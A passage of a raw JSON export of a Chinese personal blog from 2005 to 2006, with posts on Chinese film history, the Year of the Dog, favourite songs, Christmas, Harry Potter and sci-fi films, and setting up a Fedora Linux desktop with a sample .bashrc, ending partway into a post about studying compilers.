班着实\u0026rsquo;火\u0026rsquo;了一把，身边不少家境较好的同学每天放学后都会去学几招\u0026rsquo;绝技\u0026rsquo;。我也买了把电影中的那种钢刀挂在家里的墙上，趁父母不在的时候抽出钢刀做一把\u0026rsquo;武林侠客\u0026rsquo;；\u0026lsquo;妈妈再爱我一次\u0026rsquo;这部台湾电影相信让很多人第一次在电影的\u0026rsquo;魔力\u0026rsquo;下落泪。我也不例外。这部1989年创作的但台湾的电影能在大陆上映在那个年代已实属不易了。从中也可以看出当时文化开放的进程。我看这部电影的时候好像是小学4、5年级，记不太清了。后来又看过一次完整版的，才知道很多电影中很多\u0026rsquo;少儿不宜\u0026rsquo;的镜头早已被删掉了。我想之所以大陆引进这部电影，关键还是电影中那真挚伟大的母爱在人们之间产生了共鸣的力量；一些在80年代之前拍摄的优秀国产景点电影也特别受我们这些孩子们的欢迎，如\u0026rsquo;地雷战\u0026rsquo;、\u0026lsquo;地道战\u0026rsquo;、\u0026lsquo;铁道游击队\u0026rsquo;、\u0026lsquo;英雄儿女\u0026rsquo;、\u0026lsquo;小兵张嘎\u0026rsquo;等等。\n90年代初中期，美国大片和香港无哩头搞笑电影同时开始登陆中国大陆，超乎想象的视觉感受让我们这些年轻人瞬间就喜欢上了这些\u0026rsquo;美国大片\u0026rsquo;，而让人笑得肚子疼的香港搞笑作品也充实了我们原有的对电影的认识。而这段时间经典作品也仿佛扎堆似的接踵而来，\u0026lsquo;真实的谎言\u0026rsquo;让我们知道了除了\u0026rsquo;小米+步枪\u0026rsquo;外世界上还有那么多先进的武器\u0026rsquo;勇敢者的游戏\u0026rsquo;让我们见识了电脑特技的厉害；\u0026lsquo;红番区\u0026rsquo;让我们认识了\u0026rsquo;成龙大哥\u0026rsquo;戏耍般的武术；\u0026lsquo;大话西游\u0026rsquo;和\u0026rsquo;唐伯虎点秋香\u0026rsquo;让我们知道了电影也可以这么好笑，台词咋就这么经典，并记住了\u0026rsquo;周星驰\u0026rsquo;这个看了就让人发笑的中国人；在这段时间国产电影也不甘示弱，其中不乏佳作，如\u0026rsquo;中南海保镖\u0026rsquo;、\u0026lsquo;黄飞鸿系列\u0026rsquo;、\u0026lsquo;精武英雄\u0026rsquo;等动作片，\u0026lsquo;大决战\u0026rsquo;系列等反映解放战争的影片也受到人们不少的关注；这里不能不提到的是一些主旋律影片的推出，如\u0026rsquo;孔繁森\u0026rsquo;、\u0026lsquo;离开雷锋的日子\u0026rsquo;等，这些电影由于其写实性所以也在人们心中留下了深深的烙印。\n90年代后期，国产电影进入了转型期，其受关注程度远远落后于那些外国大片和港产新片了。转型都是阵痛的，一些国内影人开始向好莱坞发展，其中最典型的就是李连杰，在97年拍完最后一部黄飞鸿系列电影之后就开始登陆好莱坞了。国内影人都在为着中国电影到底走向何方冥思苦想、痛苦探索着。而外国大片和香港片在这时趁虚而入，占据了中国电影界大半江山。虽然中国电影在转型，但是一些有着前瞻性的导演却为进行着一些新的尝试，这里不能不提的就是冯小刚以及他的一系列贺岁片，贺岁片这个名词我也是在那个时间段才听到的，估计也是那时创造的一个新名词，\u0026lsquo;甲方乙方\u0026rsquo;、\u0026lsquo;不见不散\u0026rsquo;、\u0026lsquo;没完没了\u0026rsquo;给我的感觉是个个好看。这时候的一些主旋律电影业推出了不少，我想这些电影就不能从票房轮英雄了。我看过的作品包括：\u0026lsquo;冲天飞豹\u0026rsquo;、\u0026lsquo;横空出世\u0026rsquo;等；在这期间我也发现了这样的一种现象 — \u0026lsquo;得奖电影\u0026rsquo;，这是我的叫法，我真的不知道该如何去称呼这些电影，这些电影的一个共同之处就是都是获得过像威尼斯、嘎呐、柏林或者东京电影节大奖的电影，但是在萧条的国内却票房冷淡的电影。代表作：\u0026lsquo;那人.那山.那狗\u0026rsquo;，从心眼里喜欢这些电影，总感觉这些电影中充满了真挚的情感，比起那些毫无情感的商业电影，这些电影更能激起我内心深处的某些东西。\n新世纪初，中国电影开始了新的尝试。在李安的\u0026rsquo;卧虎藏龙\u0026rsquo;获得巨大成功后，以张艺谋为代表的一些影人走出了阴霾，开始尝试大制作、国际化之路。\u0026lsquo;英雄\u0026rsquo;、\u0026lsquo;十面埋伏\u0026rsquo;以及最近上映的\u0026rsquo;无极\u0026rsquo;都是此类影片，影片推出后人们褒贬不一。有人说电影太商业化，缺少内涵；有人则说电影很成功，起码票房成功。我在想无论如何，这都是中国影人的一次尝试，仅仅是现在只是在一个方向上作尝试，如果能有更多的影人在不同的方向上为中国电影作尝试找出路的话，中国电影总有一天会拥抱辉煌的。\n在中国电影100年的时候，随着中国经济的增长，人们生活的富足，看电影的人多了，电影公司收入多了，为电影的投资也多了。好看的电影也必将多起来，电影在人们心中的地位也越来越重要了。但正所谓众口难调，中国影人想创作出为世人所称道的电影必将越来越难，任重道远。我是个\u0026rsquo;业余\u0026rsquo;电影Fans，也将一直追随着中国电影进入它的第二个100年，也希望中国电影早日迎来它的辉煌。\n","permalink":"https://tonybai.com/2006/01/02/100-years-of-chinese-movie/","summary":"\u003cp\u003e从CCTV6上得知已经过去的2005年是中国电影诞生100周年。作为中国电影发展的见证人在这样的一个时刻，也说说自己的一些感受。\u003c/p\u003e\n\u003cp\u003e绞尽脑汁也记不起来自己第一次在电影院里看的第一部中国电影的名字了。但是从时间上判断，我们这一代进入电影院、接触电影应该是在上世纪80年代末、90年代初。那时候整个中华大地正沐浴在改革开放的春天里，文化领域的人们自然也不甘落后，每年都有不少国产影片诞生。\u003c/p\u003e","title":"中国电影100年了"},{"content":"新的一年–2006年的第一天，\u0026lsquo;发泄\u0026rsquo;一下自己的感慨^_^。\n2006年 — 农历狗年 — 我的本命年。\n我属狗，狗也是我最喜欢的动物。年幼时家里曾养过很多只可爱的小狗，其中一个重要的原因就是我父母也都喜欢狗。\n本命年的来历大致是这样的：中国古代一直采用干支纪年法，天干十位，地支十二位。但鉴于古代普通老百姓的文化水平有限，他们很难记住众多的\u0026rsquo;稀奇古怪\u0026rsquo;的天干地支的组合纪年，遂发明了用一种动物来代表一年的简化记忆的方法。动物与地支一一对应，共有12种。这样出生那年的代表动物就成了孩子的属相，而人人每过十二年就会遇到与自己出生那年相同的属相年，这就是人们所说的\u0026rsquo;本命年\u0026rsquo;。12年才遇到一次，可见本命年还是挺重要的。众所周知在中国民俗中每逢本命年都要穿\u0026rsquo;红\u0026rsquo;，什么红短裤、红衬衣、红袜子、红腰带等等。这是源于中国汉民族传统文化对于红色的崇拜。汉民族把红色视为喜庆、成功、忠勇和正义的象征，尤其认为红色有驱邪护身的作用。\n好了，胡扯了一段民俗，就权当长长见识了。在这辞旧迎新之际相信每个人心里都在打着自己的\u0026rsquo;小算盘\u0026rsquo;。而总结过去，展望将来这两步向来是必不可少的。\n[下载2005]\n下载线程1 — \u0026lsquo;自己\u0026rsquo;\n快节奏 — 2005年是我第一个完整的工作年。远离了大学校园的安逸，工作的\u0026rsquo;力\u0026rsquo;让人在不知不觉中提高了加速度，365天就这么\u0026rsquo;瞬间\u0026rsquo;从身旁消逝了。\n波澜不惊 — 2005年显然不是有突破的一年，但却是小有暂获的一年。在几个项目中摸爬滚打出来之后，发觉自己健壮了、自信了，而更重要的就是自己有了方向感。\n下载线程2 — \u0026lsquo;国家\u0026rsquo;\n扬眉吐气 — 神六的成功上天再一次证明了中国人的实力。\n改革继续 — 医疗改革、个税改革、养老金改革… …，改革依旧，老百姓究竟在这些改革当中得到多少实惠呢，只有老百姓自己知道。\nGDP涨 — 这是全国第一次经济普查的结果。GDP是查一次涨一次，那多查几次可否就可以提前几年超越美国了呢^_^。\n奥运五娃 — 中国人口世界第一，中国人举办的奥运会吉祥物的个数也是历史罕见了–五个，有些人会问“为啥不弄56个，一个民族一个呢”。\n矿难 — 相信这个\u0026rsquo;关键词\u0026rsquo;在2005年一定是各大媒体上的常客，也许大家也都在想那些不合格的煤窑都是如何开起来的呢？谁又能真正为那些在矿难中逝去的人们找回公道呢？\n下载线程3 — \u0026lsquo;世界\u0026rsquo;\n怨声载道 — 2005年的世界可以用\u0026rsquo;怨声载道\u0026rsquo;来形容，不断攀升的油价和一波接着一波的自然灾害让世界老百姓吃够了苦头。\n[启动2006]\n脚步 — 根据自己已有的方向感向前走，如果能不断超越自我，即使没有太大收获，那起码我是快乐的。\n命运 — \u0026ldquo;命运\u0026quot;未卜。本命年给一年的生活蒙上了些许的神秘色彩。\n祈福 — 为家人幸福安康，为世界和平安宁祈祷。\n发表是最好的记忆(侯捷语)。 在2006年，我将继续\u0026rsquo;再接再厉\u0026rsquo;，继续地整理和书写，争取为自己留下一段美好的记忆。\n哦，在咋的也不能忘了这句 — \u0026ldquo;Happy New Year!\u0026quot;。\n","permalink":"https://tonybai.com/2006/01/01/my-animal-year/","summary":"\u003cp\u003e新的一年–2006年的第一天，\u0026lsquo;发泄\u0026rsquo;一下自己的感慨^_^。\u003c/p\u003e\n\u003cp\u003e2006年 — 农历狗年 — 我的本命年。\u003cbr\u003e\n我属狗，狗也是我最喜欢的动物。年幼时家里曾养过很多只可爱的小狗，其中一个重要的原因就是我父母也都喜欢狗。\u003c/p\u003e","title":"迎来本命年"},{"content":"我喜欢音乐，所以我也来说说音乐。\n最近晚上休息时一直在听中央人民广播电台的音乐之声(Music Radio)栏目，听到心仪的歌曲马上就下载到本本中，慢慢欣赏。下面是一些听后感^_^:\n激情澎湃 – 汪峰 之 \u0026lsquo;怒放的生命\u0026rsquo;\n最开始知道汪峰是通过其作品“花火”，其高亢澎湃的嗓音让我想起了演唱\u0026rsquo;超越梦想\u0026rsquo;的汪正正。\u0026lsquo;怒放的生命\u0026rsquo;是在其\u0026rsquo;飞得更高\u0026rsquo;之后的又一表现其强烈心声的歌曲，经历过挫折、痛苦、迷茫和彷徨的汪峰终于开始觉醒了，并用这首\u0026rsquo;怒放的生命\u0026rsquo;毫无保留的向人们展示他对未来生活的愿景。相信有着和汪峰同样经历的人听到这首歌后必定会产生心灵的共振。另外汪峰那带有强烈穿透力的嗓音也必然会给你带来与众不同的音乐体验。\n摆正舌头 – 周杰伦 之 \u0026lsquo;珊瑚海\u0026rsquo;\n虽然对以前周杰伦的某些歌曲颇有微词，但我也不得不承认周杰伦在音乐方面的天赋和造诣。不久前周杰伦推出的其新专辑\u0026rsquo;十一月的肖邦\u0026rsquo;又在歌迷中引起轰动，其中多首歌曲都在各大排行榜上名列前茅，如\u0026rsquo;夜曲\u0026rsquo;、\u0026lsquo;发如雪\u0026rsquo;等，但是最让我欣赏的一首歌却是\u0026rsquo;珊瑚海\u0026rsquo;，这是一首周杰伦与梁心颐合作的男女对唱的歌曲，之所以欣赏这首歌一是因为其是对唱歌曲(在KTV中偶最喜欢此类歌曲了^_^)，再有一点就是在这首歌中周杰伦一贯打卷的舌头终于伸直了 — 吐字清晰了，那就意味着这首歌是可以被大众化的。另外这首歌的旋律优美，歌词细品起来也颇有味道。\n初出茅庐 – 华少弈 之 \u0026lsquo;爱还在\u0026rsquo;\n在最近的Music Radio中总听到一首男女对唱的歌，叫\u0026rsquo;爱还在\u0026rsquo;。初听该歌的时候我一直以为那个男生是孙楠，因为其声音真的与孙楠的声音有多分神似，特别是在后面的歌曲高潮时。到Baidu去搜索后才发现这是一位新人华少弈的作品，而另外的那个女生居然是一个韩国人，看来我的听力需要提高提高了。以前很喜欢孙楠的歌，每到KTV必唱。华少弈的嗓音是那么的纯净和富有磁性，这也正是我最爱的风格，而且在这首歌中无论是高潮还是低吟，华少弈的演唱都是那么完美。该首歌曲的另外一个特点就是那个韩国歌手略带沙哑的嗓音和华少弈纯净的嗓音相得益彰，恰到好处。唯一的一点缺陷是在结尾处那个女生的一次高音爆音给整首歌曲带来那么一丝缺憾。\n[注]：\n农历月份的别称\n一月：正月\n二月：杏月\n三月：桃月\n四月：梅月\n五月：榴月\n六月：荷月\n七月：兰月\n八月：桂月\n九月：菊月\n十月：良月\n十一月：畅月\n十二月：腊月\n","permalink":"https://tonybai.com/2005/12/29/recommend-music-of-2005-12/","summary":"\u003cp\u003e我喜欢音乐，所以我也来说说音乐。\u003c/p\u003e\n\u003cp\u003e最近晚上休息时一直在听中央人民广播电台的音乐之声(Music Radio)栏目，听到心仪的歌曲马上就下载到本本中，慢慢欣赏。下面是一些听后感^_^:\u003c/p\u003e","title":"2005腊月靓乐"},{"content":"圣诞节没来得及“说”，俺就来个“圣诞后说”^_^。\n又是一年圣诞节，又是考验国民消费能力的日子，不过从统计数据来看，没有让大家失望，以沈阳为例，著名商业街“中街”几个大商场一夜的销售额就过亿。看来大家都比我有钱，呵呵。\n圣诞节也是一个考验肚子的日子，和GF从早到晚吃个不停。中午烤鸭，晚上南美烤肉。这回儿可往肚子里灌满了“油水”。\n圣诞节也是个“短信爆炸”的日子，我的手机真是忙个不停，鉴于词语表达上的不过关，只能将好友A发来的“美辞”，转发给好友B、C、D…^_^。\n圣诞节也是个考验公共交通系统能力的日子，看着一辆辆挤满了乘客的公交车从面前驶过，心里真是“胆战心惊”亚，可是过不多久，又在一辆挤满了乘客的公交车上发现了我的身影。\n圣诞节还是个大片云集的日子，各大影院争相上映叫什么“无聊之极”的大片，实在对不起，没记住该部片名，只记住网上对该片的评论题目了。还好公司发的团体电影票圣诞节无效，要不我也有可能成为“无聊之极”看片大军中的一员了。\n圣诞节总是有好消息的，这里念上一条:“我的一位大学兄弟于近日开通了他的blog-\u0026quot;岁岁年年(注：已经注销)\u0026quot;，还希望大家多多捧场”。\n圣诞节也有让人郁闷的消息，这里也说说。最近特想买的两本书《深入理解Linux内核》和《Linux内核源代码情景分析(上)》在互动出版网和华储网都已经划归为“绝版”行列。看来一段时间只能看电子版了。\n再说一条与圣诞节无关的消息。一直想弄到一份Linux发行版的安装光盘，Redhat已经太老，Fedora由于是开源，少有安装盘。经过一番努力还是发现了另一种很有名的发行版Ubuntu。Ubuntu Linux可以免费为你寄送安装光盘，我已经订购了一些，相关信息可以在其官方网站上找到。\n","permalink":"https://tonybai.com/2005/12/28/say-something-after-christmas/","summary":"\u003cp\u003e圣诞节没来得及“说”，俺就来个“圣诞后说”^_^。\u003c/p\u003e\n\u003cp\u003e又是一年圣诞节，又是考验国民消费能力的日子，不过从统计数据来看，没有让大家失望，以沈阳为例，著名商业街“中街”几个大商场一夜的销售额就过亿。看来大家都比我有钱，呵呵。\u003c/p\u003e","title":"圣诞后说"},{"content":"英国女作家“罗琳”的小说着实让我“着迷”一番。从第一部“魔法石”到第五部“凤凰社”，每部小说我都会认真拜读，至于同名电影我也“同步”地看了3部，这不刚刚把第4部电影“火焰杯”看完。\n至今为止最吸引我的两部是“魔法石”和“火焰杯”。历来畅销小说的开山之作总是被誉为经典，“哈利波特”也不例外，“魔法石”一部让我们认识了善良、正义和勇敢的小哈利，也大致知道了整部小说的线索是“哈利与伏地魔之间的斗争”。在出版了略微沉闷的“密室”和“阿兹卡班”囚徒之后，“火焰杯”则再次向我们展示了魔法世界的精彩，如“魁地奇”世界杯、“三巫师斗法”以及在前3部都未提到的另外的两个魔法学校。书中的精彩让我很是期盼其同名电影的出版。就在昨天我看完了这部电影，谈起感受，用两个字来形容就是“失望”。不得不承认“火焰杯”是一部“大部头”的作品，要在短暂的区区不到两个半小时的时间里完全展现出小说中的“亮点”绝对是很有挑战的，不过“火焰杯”的导演还是让我很失望。\n“一笔带过”的“魁地奇”世界杯\n可以说“魁地奇”世界杯是魔法世界中水平最高的“魁地奇”比赛，以往我们都只看到小哈利在学校里参加的院际联赛，虽说精彩但那毕竟不能代表最高水平，又有幸看一眼世界杯这么高水平的比赛我想也是哈利波特迷的一个愿望，可是导演没给我们这个机会，在短暂不乏精彩的出场仪式后，“魁地奇”世界杯便迅速从我们的眼前消失了。\n“告别经典罗恩”\n罗恩在我印象中一贯是“傻头傻脑、资质平庸但又不乏笑料”的人物角色，但是在这部电影中我们却几乎看不到他那“经典”的笑料了(除了假魔眼给学生们上黑魔法课一段)，相反长大后的罗恩却多了份儿女情长，真是大煞风景。\n“平淡的伏地魔复活”\n书中的伏地魔复活是整个哈利波特故事的一个转折点，从此哈利波特故事便开始走向“黑色”。对于这一情节书中自然是浓重渲染，而片中伏地魔的复活显然过于迅速，如果没有读过小说的人可能很是迷惑。另外哈利与伏地魔的决斗也显然没有书中的那份精彩，当哈利的父母从魔仗中出来时有点过于朦胧，让我很难看清那些人是谁。\n影片拍到现在我也不对后面的几部抱有太大希望了，还是抱着那几本罗琳的“大部头”细细体味魔法世界的精彩吧。\n","permalink":"https://tonybai.com/2005/12/17/the-goblet-of-fire-disappoint-me/","summary":"\u003cp\u003e英国女作家“罗琳”的小说着实让我“着迷”一番。从第一部“\u003ca href=\"http://movie.douban.com/subject/1295038/\"\u003e魔法石\u003c/a\u003e”到第五部“\u003ca href=\"http://movie.douban.com/subject/1457217/\"\u003e凤凰社\u003c/a\u003e”，每部小说我都会认真拜读，至于同名电影我也“同步”地看了3部，这不刚刚把第4部电影“火焰杯”看完。\u003c/p\u003e\n\u003cp\u003e至今为止最吸引我的两部是“魔法石”和“火焰杯”。历来畅销小说的开山之作总是被誉为经典，“\u003ca href=\"http://www.harrypotter.com\"\u003e哈利波特\u003c/a\u003e”也不例外，“魔法石”一部让我们认识了善良、正义和勇敢的小哈利，也大致知道了整部小说的线索是“哈利与伏地魔之间的斗争”。在出版了略微沉闷的“密室”和“阿兹卡班”囚徒之后，“火焰杯”则再次向我们展示了魔法世界的精彩，如“魁地奇”世界杯、“三巫师斗法”以及在前3部都未提到的另外的两个魔法学校。书中的精彩让我很是期盼其同名电影的出版。就在昨天我看完了这部电影，谈起感受，用两个字来形容就是“失望”。不得不承认“火焰杯”是一部“大部头”的作品，要在短暂的区区不到两个半小时的时间里完全展现出小说中的“亮点”绝对是很有挑战的，不过“火焰杯”的导演还是让我很失望。\u003c/p\u003e","title":"失望的“火焰杯”"},{"content":"我是个不折不扣的电影迷，特别喜欢看欧美的科幻片、喜剧片和中国的剧情片，以前看电影都仅仅停留在看看乐乐就完了的阶段，现在有了blog这个工具，遂想把自己的一些看电影后的体会写出来，不吐不快么^_^，另外注意哦这不是影评。\n让我产生上面想法是索尼的“A Sound Of Thunder”这部2005年科幻片，其中文名为“雷霆万钧”或“一声惊雷”。知道这部片子源于同事的介绍，在他的描述中这部片子很精彩。科幻片我的最爱，怎能放过。科幻片最大的吸引力就在它让你的想象力得到了充分的满足，越是能激发我想象力的片子我就越喜欢。显然“A Sound Of Thunder”做到了这一点。尤其是其“时间波”理论让我产生了浓厚的兴趣，对其的不是十分理解甚至让我产生重新学习大学物理的想法(还有行动：早上起来后到MIT OCW上下载了一些物理课程)。下面具体谈一下我的一些观感：\n影片阵容：不得不承认里面的演员我一个都不认识，也许我还不是“骨灰级”电影Fans，不过在网上查了一下，其中男主角爱德华·伯恩斯还是好莱坞的一个知名演员，那个女科学家似乎有些眼熟，但就是不知道她在那部电影中出镜过。\n影片剧情：上面也提到过这是这部电影最吸引我的地方，仅从第一印象来说剧情还算合理，当然百密一疏，在好看的电影都有其纰漏之处，呵呵我没找到罢了(仅看了一遍，火候还不到)。在剧情上还是有些地方让我不甚满意的，比如女科学家再给大家讲解如何利用下一次时间波而到达杀死蝴蝶的前一刻那段，女科学家的讲解我想很多人都很糊涂，我想导演是为了表现出“时间的紧迫性”而加快这部分的进度，再者“时间波”这么高深的理论，没有一定的“功底”是很难明白的，导演的想法也许就是让大家模模糊糊这样才会激发观众的想象力和继续观赏的动力，这让我想起了影片“骇客帝国”，虽然三部看完，又有多少人能够完全理解其深刻含义呢，不过其票房已经说明了其拍摄的成功。\n技术手段：科幻片总是离不开电脑特技的，遗憾的是这部片子在这方面做的让人很是失望。明眼人一眼就可以看出电脑特技的痕迹，特别是那段男主角在车水马龙的芝加哥大街上走的时候，其身体明显和背景难以融合。至于其他场景也并不是那么精致，只能用“马马虎虎”来形容了。\n总之“A Sound Of Thunder”是2005年唯一一部能强烈激发我的想象力的科幻影片，用一句话评价它就是“继经典的影片“时间机器”后又一部在“时空”理论上给人们带来想象空间的影片。\n","permalink":"https://tonybai.com/2005/12/16/something-about-movies/","summary":"\u003cp\u003e我是个不折不扣的电影迷，特别喜欢看欧美的科幻片、喜剧片和中国的剧情片，以前看电影都仅仅停留在看看乐乐就完了的阶段，现在有了blog这个工具，遂想把自己的一些看电影后的体会写出来，不吐不快么^_^，另外注意哦这不是影评。\u003c/p\u003e","title":"说说电影"},{"content":"在Linux上学习Linux内核我想应该是最好的方法了。Linux对我来说绝对是一个新鲜环境，搭建在Linux上的工作环境就是我的首要工作，这篇blog记录的就是我在Linux上的工作环境，也希望对大家有些借鉴意义。\n我的Linux是在一个多月以前安装的[注1]，安装的版本是Fedora Core 4。我使用的是本地磁盘映像安装，磁盘映像文件很大，总共4个，大约2.4G体积。安装过程倒是没有像网上很多人说得那样不顺利，包括修改、合并分区在内大约用了3个小时就看到Linux的桌面了。\n进入Linux首先映入眼帘的的就是Linux桌面，我选择了GNOME(GNU Network Object Model Environment)桌面，不为什么，就是因为它流行。下一步就是熟悉这个新环境了，如基本的系统设置、网络设置以及个性化定制等，这些不详述。\n工作环境是一个常用软件的集合，在Windows下自不必说了，那些软件都是耳熟能详了。但是在Linux下又有哪些软件可以作为替代品呢？带着这样的目的，我开始了搭建Linux工作环境的历程。另外王垠(http://learn.tsinghua.edu.cn:8080/2001315450)曾在其主页上介绍过不少好用的工具软件，这里很多软件也都是源于王垠的介绍。\nLinux下的软件安装一般有两种方法：\n(1) 通过rpm方式\n安装：rpm -i your-package.rpm\n卸载：rpm -e your-package\n(2) 通过源代码编译方式\n源代码编译三部曲：configure –\u0026gt; make –\u0026gt; make install\n我的Linux工作环境\n(1) 强大的Bash\n以前在Solaris上开发使用的都是C shell,而Linux默认的Shell却是Bash Shell。我初始感觉Bash Shell与C Shell不同之处包括可以自动匹配补齐命令行、支持UP和DOWN ARROW来选择前一个和后一个命令行。对于一个非系统工程师的开发人员来说有一份得心应手的Shell配置文件足矣。下面是我的一份配置文件，简单而灵活，关键一点是它完全能够满足我的需求：\n/* .bashrc */\n# Tony Bai\u0026rsquo;s .bashrc\n#\n# Source global definitions\n#\nif [ -f /etc/bashrc ]; then\n. /etc/bashrc # –\u0026gt; Read /etc/bashrc, if present.\nfi\n#\n# Greetings\n#\necho \u0026ldquo;*********************************\u0026rdquo;\necho \u0026ldquo;*** This is Tony Bai ***\u0026rdquo;\necho \u0026ldquo;*** Welcome to my linux world ***\u0026rdquo;\necho \u0026ldquo;*********************************\u0026rdquo;\nfunction _exit() # function to run upon exit of shell\n{\necho \u0026ldquo;********************\u0026rdquo;\necho \u0026ldquo;*** Bye Bye! ***\u0026rdquo;\necho \u0026ldquo;*** Welcome Back ***\u0026rdquo;\necho \u0026ldquo;********************\u0026rdquo;\n}\ntrap _exit EXIT\n#\n# Export environment variables\n#\nCVSROOT=:pserver:tony@127.0.0.1:/export/home/cvs/CVS-ROOT\nPROJDIR=/home/administrator/proj/example\nPATH=.:$PATH:$HOME/bin:.local/bin\nexport CVSROOT\nexport PROJDIR\n#\n# User specific aliases and functions\n#\n# System command set\nalias rm=\u0026lsquo;rm -i\u0026rsquo;\nalias mv=\u0026lsquo;mv -i\u0026rsquo;\nalias mkdir=\u0026lsquo;mkdir -p\u0026rsquo;\nalias h=\u0026lsquo;history\u0026rsquo;\nalias which=\u0026lsquo;type -all\u0026rsquo;\nalias ..=\u0026lsquo;cd ..\u0026rsquo;\nalias path=\u0026lsquo;echo -e ${PATH//:/\\\\n}\u0026rsquo;\nalias du=\u0026lsquo;du -kh\u0026rsquo;\nalias df=\u0026lsquo;df -kTh\u0026rsquo;\nalias la=\u0026lsquo;ls -Al\u0026rsquo; # show hidden files\nalias ls=\u0026lsquo;ls -hF –color\u0026rsquo; # add colors for filetype recognition\nalias lx=\u0026lsquo;ls -lXB\u0026rsquo; # sort by extension\nalias lk=\u0026lsquo;ls -lSr\u0026rsquo; # sort by size\nalias lc=\u0026lsquo;ls -lcr\u0026rsquo; # sort by change time\nalias lu=\u0026lsquo;ls -lur\u0026rsquo; # sort by access time\nalias lr=\u0026lsquo;ls -lR\u0026rsquo; # recursive ls\nalias lt=\u0026lsquo;ls -ltr\u0026rsquo; # sort by date\nalias lm=\u0026lsquo;ls -al |more\u0026rsquo; # pipe through \u0026lsquo;more\u0026rsquo;\n# Compile\nalias gcc=\u0026lsquo;gcc -Wall\u0026rsquo;\n# System info Viewer\nalias cpu=\u0026lsquo;cat /proc/cpuinfo\u0026rsquo;\nalias mem=\u0026lsquo;cat /proc/meminfo\u0026rsquo;\nalias version=\u0026lsquo;cat /proc/version\u0026rsquo;\nalias ipconfig=\u0026rsquo;/sbin/ifconfig\u0026rsquo;\n# Project info\nalias cdinc=\u0026lsquo;cd $PROJDIR/include\u0026rsquo;\nalias cdsrc=\u0026lsquo;cd $PROJDIR/src\u0026rsquo;\n另外修改.bashrc后别忘了执行\u0026rsquo;bash\u0026rsquo;使配置修改生效。\n(2) 输入法\n毕竟是开发中文程序，中文输入发必不可少。虽觉得Fedora自带的“智能拼音”不错，但是“小企鹅输入法(free Chinese Input Toy for X)”的定制功能却让我更加垂涎。遂在小企鹅输入法网站上下载了专门为Fedora Core 4制作的rpm。安装后我们就可以修改~/.fcitx/config文件来订制你个性化的输入法了，如果你在Windows上使用微软输入法习惯了，我们完全可以把“小企鹅输入法”变成Linux上的“微软输入法”。\n(3) 浏览器\n无论在任何平台上我们都不能忽略网络世界的存在，在Windows上有IE，在Linux上我们有Mozilla Firefox这一新宠儿。关于Firefox的资料太多太多，我想这里就毋庸讳言了。\n(4) 邮件工具\nEvolution, 一款在使用习惯上颇为接近于Microsoft Outlook的邮件客户端及个人信息管理程序，如果你是用惯了Outlook的用户，那么Evolution将是你在Linux上的一个不错的选择。Evolution是Linux自带的程序，无需你下载安装了。\n(5) 编辑器\n对于一名程序员来说获得一得心应手的编辑器就好比如虎添翼一般。Linux给你提供了多种选择，既有图形界面的，又有基于终端的。不过VI/VIM仍然是我的最爱。\n(6) 开发工具\n由于做后台服务端开发，所以必不可少的需要Gcc, make等工具, Linux上还默认提供automake, autoconf等工具，免去了你手工编写Makefile的烦恼，不过要掌握这些工具也需要一个过程，自己权衡吧^_^。\n(7) 词典工具\n王垠在其文章中提到了WordNet，对该软件的新颖的概念很是感兴趣，遂down了一个，不过遗憾的是没有编译通过，至今未找到原因。\n(8) 娱乐工具\n程序员在工作之余都喜欢看看电影，而MPlayer又是被公认在Linux下最好的媒体播放软件。遗憾的是我的机器上没有声卡，不能听到MPlayer输出的优美音乐。\n(9) 办公工具\n由于公司的文档都是由微软的工具产生的，要想在Linux下阅读和修改可不是件容易事。试过了Linux自带的OpenOffice，PPT文档还可以，Word文档简直就不堪入目了。王垠推荐将Word等先转换为html网页再查看，我很懒嫌麻烦。想起金山最新推出的WPS2005在Windows下的效果还不错，希望金山也能尽快推出Linux下的WPS版本。来解决这一使用Linux办公的最大难题。\n(10) 通讯工具\n对于使用QQ的人，LumaQQ相信是最好的选择；而Gaim是一个支持多种IM协议的工具，只是上手不是很容易罢了。\n初接触Linux，试用了上面的一些工具，还处于经验积累阶段。\n[注1]\n我是参考http://fedora.Linuxsir.org上的安装说明一步一步做的，感觉还不错。\n","permalink":"https://tonybai.com/2005/12/15/working-on-linux/","summary":"\u003cp\u003e在\u003ca href=\"http://en.wikipedia.org/wiki/Linux\"\u003eLinux\u003c/a\u003e上学习Linux内核我想应该是最好的方法了。Linux对我来说绝对是一个新鲜环境，搭建在Linux上的工作环境就是我的首要工作，这篇blog记录的就是我在Linux上的工作环境，也希望对大家有些借鉴意义。\u003c/p\u003e\n\u003cp\u003e我的Linux是在一个多月以前安装的[注1]，安装的版本是\u003ca href=\"http://fedoraproject.org\"\u003eFedora\u003c/a\u003e Core 4。我使用的是本地磁盘映像安装，磁盘映像文件很大，总共4个，大约2.4G体积。安装过程倒是没有像网上很多人说得那样不顺利，包括修改、合并分区在内大约用了3个小时就看到Linux的桌面了。\u003c/p\u003e","title":"在Linux上工作"},{"content":"看了dreamhead的那篇“差异程序员”，又恰逢在今天dreamhead在一封邮件中谈到其继续深入“向下学习”的想法，心里突然有了本篇题目这样的一个话题。\n“差异程序员”(http://dreamhead.blogbus.com/logs/2005/12/1676755.html)\n最近自己也在“向下走”，这和dreamhead的想法和做法不谋而合。dreamhead在其blog和邮件中都谈了其在“向下走”过程中的体会，“差异程序员”一篇dreamhead也是在告诉大家其不满足于只做应用一层的程序员，这也同样是我的一些想法。\n想法有了，那我们是如何做的呢？mail中dreamhead谈到了他下一步的学习目标和计划，在我的回复mail中我也谈了我将在linux内核方面和编译技术方面作些努力的初步想法。dreamhead也马上谈了他关于这两方面的看法，这里引用少许，目的在对比：\n“编译器的前端相对来说都是简单的，技术基本都是现成的，而且有现成的工具供人使用，当然，为了学习，还是自己尝试写一遍比较好。后端的东西才是真正复杂的，不同的平台不同的OS都会有不同的要求，之后，还有优化的技术，复杂度直线上升。… … 如果想了解OS运作，Linux内核显然过于庞大了，那本《自己动手写操作系统》则更为简单。一些基础的东西是类似的，只要理解了那个小内核，理解Linux只是更好的去体会更好的设计而已，因为所有的知识已经都各就其位了，一旦架构形成，剩下的只是不断完善了。”\n看到这样的回复，我马上意识到：虽然都是向下走，但是我和dreamhead的目的不同，形成的想法就有了些差异。\n我之所以想啃下编译，原因起初有二：一是在前不久的工作中想采用编译中的技术来完成项目中一个模块的功能；二是填补大学时没有学懂编译的遗憾，就是想弄懂那些三元式、四元式，让自己更专业一些。上星期看了“dragon 